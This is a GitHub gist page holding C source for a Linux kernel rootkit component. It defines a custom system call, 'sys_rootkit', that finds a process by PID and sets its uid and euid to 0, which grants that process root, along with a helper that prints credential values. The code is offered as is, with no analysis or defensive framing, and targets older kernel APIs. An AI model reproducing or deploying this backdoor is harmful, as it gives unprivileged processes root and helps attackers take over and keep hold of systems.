Created
August 6, 2009 14:01
-
-
Save tariqadel/163323 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include "rootkit.h" | |
int pc = 0; | |
int print_info(void) { | |
int o_ruid = current->uid; | |
int o_euid = current->euid; | |
int o_suid = current->suid; | |
pc++;// inc counter | |
printk("\n *** ---[ Printing %d ] *** \n", pc); | |
printk("uid = %d ", o_ruid); | |
printk("euid = %d ", o_euid); | |
printk("suid = %d ", o_suid); | |
printk("getuid() = %d ", (int) sys_getuid()); | |
printk("geteuid() = %d ", (int) sys_geteuid()); | |
printk("getpid() = %d ", (int) sys_getpid()); | |
return (0); | |
} | |
asmlinkage int sys_rootkit(int mode, pid_t mypid) { | |
struct task_struct *ts; | |
int rc=0; // Get some feedback | |
print_info(); | |
printk("find_task_by_pid(%d)!\n", mypid); | |
ts = find_task_by_pid(mypid); | |
if(ts) { | |
ts->uid = (uid_t)0; | |
ts->euid = (uid_t)0; | |
} else { | |
rc = -1; | |
} | |
print_info(); | |
return(rc); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment